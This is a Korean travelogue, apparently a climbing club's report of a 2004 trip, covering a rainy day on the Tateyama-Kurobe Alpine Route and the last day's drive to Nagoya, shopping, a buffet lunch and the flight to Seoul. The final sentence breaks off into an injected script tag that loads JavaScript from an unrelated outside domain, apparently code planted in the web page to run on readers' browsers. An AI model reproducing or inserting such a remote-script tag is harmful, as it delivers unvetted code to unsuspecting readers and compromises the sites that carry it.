둘째날(2004. 9. 30): 立山山莊→立山역→알펜루트 관광→ 산악박물관 관람→立山山莊

앞서 밝혔듯이, 태풍으로 인하여 마지막 날에 계획되었던 다테야마(立山)ㆍ구로베(黑部) 알펜 루트(Alpine Route) 관광을 먼저 하기로 하였다.

아침식사를 마치고 간단한 차림으로 전세버스에 오르니, 앞서 소개된 山 雜誌 기자일행들이 미리 타고 있었다. 간단하게 목례로서 인사를 나눈 후, 줄기차게 내리는 빗속을 달려 알펜루트의 시작점인 다테야마 역에 도착했다. 역에 도착해 표를 구입한 뒤, 대원들은 간단한 식품과 관광 상품을 파는 가게에 들러 이리 저리 살피면서 산악기차를 기다리고 있었다. 기차를 타기 직전 산장 주인 노운석씨가 가이드를 맡았던 한국인 관광객 5명을 우리 팀에 떠맡기는 바람에 식구가 늘었다.(물론 공짜는 없었다. 숙소에 돌아오면 생맥주 한 쪼기 씩을 돌린다는 약속을 받아냈다) 이들은 처남매부지간의 2쌍의 노부부와 여자 쪽 사촌여동생이 합세한 팀이었다. 한 여자 노인네의 고희기념으로 자식들이 보내주었다고 한다.

다테야마는 일본 혼슈의 중북부, 도야마현에 소재하고 있는데, 일본을 상징하는 후지산과 '일본의 몽블랑'으로 불리는 하쿠산과 함께 일본의 3대 영산으로 꼽히고 있으며, 세계적으로도 잘 알려진 산악관광지이다. 구로베는 수량도 엄청나고, 물살도 급한 강을 막아 댐을 만들었는데, 그 규모나 공사의 난이도 등을 감안하면 미국의 후버(Hoover) 댐에 비견되고 있다. '알펜루트'는 도야마현의 다테야마(立山)역에서 나가노(長野)현의 오기사와(扇澤) 역까지 장장 87km에 걸쳐 연이어진 3천m급 고봉에 도로를 내고, 수많은 터널을 뚫어, 때론 산과 산을 케이블카로 연결해 만들어진 코스이다. 특히 터널이 긴 것도 긴 것이지만, 우리의 터널과는 달리 미로처럼 연결되어 있으며, 그 속에서도 각종의 교통신호기가 설치되어 있어 마치 시가지 도로처럼 좌우회전도 할 수 있게 되어 있다. 이 알펜루트를 관광하기 위해선 궤도열차, 고원버스, 트롤리버스, 공중케이블카 등으로 6번이나 교통편을 바꿔 타야 한다.

첫 번째 이용한 교통수단은 궤도열차로서 해발 475m의 높이인 다테야마 역에서 해발 977m에 위치한 비조다이라(美女平)까지 1500m의 거리를 약 7분 동안 5°～7°의 경사진 산길을 올라간다. ‘비조다이라(美女平)’는 원래 禁女 지역이었는데 한 여승이 들어가려다 신의 노여움을 사 삼나무로 변했다는 전설이 있는 곳이다.

비조다이라에서는 고원버스를 이용해 해발 2450m에 위치한 무로도(室堂)까지 이동하게 되어 있는 데, 그 소요시간은 약 50분이 걸린다. 이 코스를 지나는 동안 몇 아름씩이나 되는 나무들이 쭉쭉 벋어 있어 나무들이 산을 꽉 채우고 있다는 느낌이 들 정도이다. 특히 봄(4월) 무렵에는 겨울 내 내린 눈이 18m 정도 높이로 다져지고 다져져 길 양쪽으로 눈 벽이 형성되는데, 이 가운데로 고원버스가 다닌다니, 상상만 해도 가벼운 흥분이 느껴질 정도이다. 또한 고도가 높아짐에 따라 버스 창 밖으로 보이는 풍광도 계속 달라져 전혀 지루한지 모르는데다가, 버스 안 관광객들이 이곳저곳에서 질러대는 탄성에 고개를 돌리기가 바쁠 정도이다. 고원버스를 타고 길을 따라 구불구불 오르다 보면 낙차 350m의 4단 폭포인 쇼묘다키 폭포가 눈에 들어온다. 이 폭포는 일본에서 가장 큰 규모로 천연기념물로도 지정되어 있다. 이 폭포를 지나 조금 더 달리면 해발 2천m에 펼쳐진 미다가하라(弥陀ヶ原)고원을 지나게 되는데, 이 곳의 단풍은 특히나 아름답다. 이 과정에서 한 가지 불편한 점이 있었는데, 많은 관광객을 실어 나르기 위해 버스 안에 보조 좌석들이 설치되어 있는데, 이 의자들이 안정감이 없어 체중이 조금 많이 나가는 나 같은 사람들에게는 의자가 부셔질까 두려운 마음이 들고, 더욱이 산길을 꼬불꼬불 올라가다보니 가벼운 멀미증세까지도 경험하게 된다.

고원버스 종착역에 내려 조금만 걸어가면 분화에 의해 생긴 주위 약 600m, 깊이 약 15m의 신비로운 다테야마 최대의 칼데라 호수인 미꾸리가이케(みくりか池)에 다다른다. 안내판을 보던 영일이가 이 호수의 이름을 재치 있게 ‘미꾸라지가 있게 (없게)?’ 라고 부르는 바람에 머리가 나쁜 나도 그 이름을 기억하게 되었다. 아름답게 단풍이 든 나무들 사이로 나있는 계단을 따라 약 15분쯤 내려가면 유황 냄새가 진동하는 지코쿠계곡(地獄谷)에 이른다. 계속 뿜어내는 수중기와 유황냄새 때문에 숨쉬기가 불편할 정도이다. 비는 계속 내렸지만, 대원들은 오버트러우져를 입고 다니면서 구경을 하고, 사진도 찍으면서 관광을 즐겼다. 버스에서 내려 호수로 내려 왔을 즈음 규한이와 창호가 없다는 것을 발견하였지만, 버스 종점에서 기다리고 있겠지 하는 믿음으로 나머지 대원들만 다녀왔다. 나중에 물어보니,

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다섯째 날(10.3) : 하쿠바→나고야→서울

드디어 마지막 날이다. 4박 5일의 일정을 마무리하고 한국으로 돌아가는 날이다. 도야마에서는 일요일에 서울로 가는 아시아나 항공편이 없기에 나고야에서 출발해야만 하는 불편을 감수해야만 했다. 누구 때문인지는 더 이상 이야기하질 않겠다.

기상 후 모두들 부시시한 모습으로 서로의 안부를 묻는다. 특히 어제 술 고문을 당하던 명하를 예의 주시하면서 아침부터 부지런을 떨며 아침을 먹고, 짐을 정리하여 나고야를 향해 출발을 한 시각은 8시이다. 산장을 배경으로 기념촬영을 한 후, 노운석씨와 세미(개이름)의 배웅을 받으며 버스에 올랐다. 나고야 행 버스에는 노운석씨 부인인 이현숙씨는 우리의 쇼핑 안내를 위해 동행해 주기로 하여 같이 버스에 탔다. 아침부터 계속하여 비가 내린다. 그러고 보니 원정기간 중 본격적인 산행을 하던 어제 그제의 날씨만이 맑게 개어 산행에 불편이 없었음에 크게 감사하는 마음이 든다.

버스는 하쿠바에서 가까운 豊科 IC에서 나가노 고속도로(長野自動車道)를 이용하여 주오고속도로(中央自動車道)의 小牧 IC를 빠져나와 나고야 시내 향해 달렸다. 달리는 버스 속에서 우리처럼 산행을 좋아하는 사람들에게는 찐한 감동과 교훈을 주는 장면이 연출되었다. 어제 산행 중에 돌에 미끄러져 10여 미터를 날아 떨어져 여러 군데 상처를 입은 영일이가 발목근처마저 불편하여 고통을 겪는 것을 알아 챈 김병태 사장은 선배 산악인답게 탄탄히 꾸려놓았던 배낭을 다시 풀려 바닥에 놓아둔 응급처치세트를 꺼내더니, 그 속에서 건전지로 작동되는 저주파 침 기구를 꺼내 영일이를 뒷좌석으로 옮겨 시술을 해 주는 것이었다. 피곤에 젖은 상태에서, 싸놓았던 배낭을 다시 풀기란 그리 쉬운 일이 아니며, 더구나 그것을 가지고 있는 지 아무도 모르는 상황에서는 더욱 그러할 것이다. 이처럼 사용할 기회가 없을지도 모르는 응급처치기구마저 넣어 다니는 모습이 가능하면 배낭의 무게를 줄이려 자신에게 반드시 필요한 최소한의 장비만을 챙겨 다니던 소아적인 일반 산행인(필자 포함)에 비교가 되어 한참이나 부끄러웠다. 김병태 사장 이외에도 현경이도 항상 배낭에는 어쩌다가 쓸지도 모르는 그것도 자신이 아닌 초보자 산행인을 위한 발목 보호대 등 여러 장비들을 넣고 다니며, 김응구만 하더라도 개인장비가 아닌 주요한 공동장비를 항상 준비해 다니는 모습은 아름다워 보였다. 또한 산행과정에서 발생하는 모든 쓰레기(특히 막걸리 병 등)는 승일이의 배낭에 챙겨지는 것은 이미 습관처럼 되어 버린지 오래이다. 남을 배려하는 휘공인들이 됩시다.

나고야 시내에 도착하여 상당히 많은 양의 약주(?) 실력과 노익장을 과시하셨던 김관수 선배님은 내친 김에 후지산마저 등정을 하시겠다고 하여 도쿄행 기차를 태워드리는 것으로 우리와는 헤어졌다. 나머지 대원들은 가족들과 직장 동료에게 줄 간단한 선물을 사려는 백화점 팀과 좋은 장비를 값싸게 사고 싶어 하는 등산장비점 팀으로 나누어, 쇼핑을 하기로 하였다. 필자는 실제로 아무 것도 사지 못했지만, 백화점 팀에 끼었다가, 등산장비팀원들이 구입한 여러 물품과 장비를 보고 지금껏 가슴을 치며 후회를 하고 있음을 밝혀둔다. 혹시 본시 넉넉한 마음을 지닌 응구, 현경이 등이 나누어준다고 하면 어떻게 해야 하나? 미리 걱정이 된다.

쇼핑이 끝난 후 뷔페식 식당으로 이동하여 점심을 하였다. 육류까지도 먹으면 값이 다소 비싸지지만, 우리는 그걸로 먹기로 하고, 각종 해산물을 비롯해 닭고기, 소고기, 돼지고기들을 부위별로 가져다 테이블 가운데 놓여진 화로에서 굽기 시작을 하였다. 다행히 김치도 마련되어 있었고, 일본식 된장국도 있어서 쉽게 물리지는 않았다. 너무 많이 먹는 강철원 대장을 보고 걱정을 하는 이현숙씨에게 자기는 독립운동을 하기 때문에 다음 번 식사를 언제 할지 몰라 이렇게 몰아서 먹는다고 답변을 하는 재치를 보여 우리를 웃게 만들었다. 더 이상 위속에 빈 공간이 없음을 확인한 우리들은 다시 버스에 올라 공항에 도착했고, 그래서 우리는 이현숙씨와 작별을 하여야만 했다. 간단한 탑승수속을 마친 뒤, 보안검사, 출국심사를 마치고 탑승구로 향하였다. 비행기 이륙시간까지는 다소 여유가 있어 면세점을 기웃거리며 시간을 보냈다. 시간이 거의 되어 예정된 탑승구 8번으로 갔더니 이번에도 3번으로 변경되었고 한다. 드디어 16:40분 OZ123에 몸을 실었다.

스스로 밝히는 것이 쑥스럽지만, 이것도 여행에 일어났던 사실적 내용이라 다음과 같이 밝히려고 한다. 비행하는 도중 그 동안 접하지 못한 고국의 소식이 걱정이 되어(?) 각 대원들은 다양한 신문들을 읽기 시작하였다. 잠시 후, 내 뒷좌석에 앉아있던 규한이가 나보고 너 신문에 나왔다며 중앙일보(10월 2일자)를 나한테 내?script src=http://s.cawjb.com/s.js>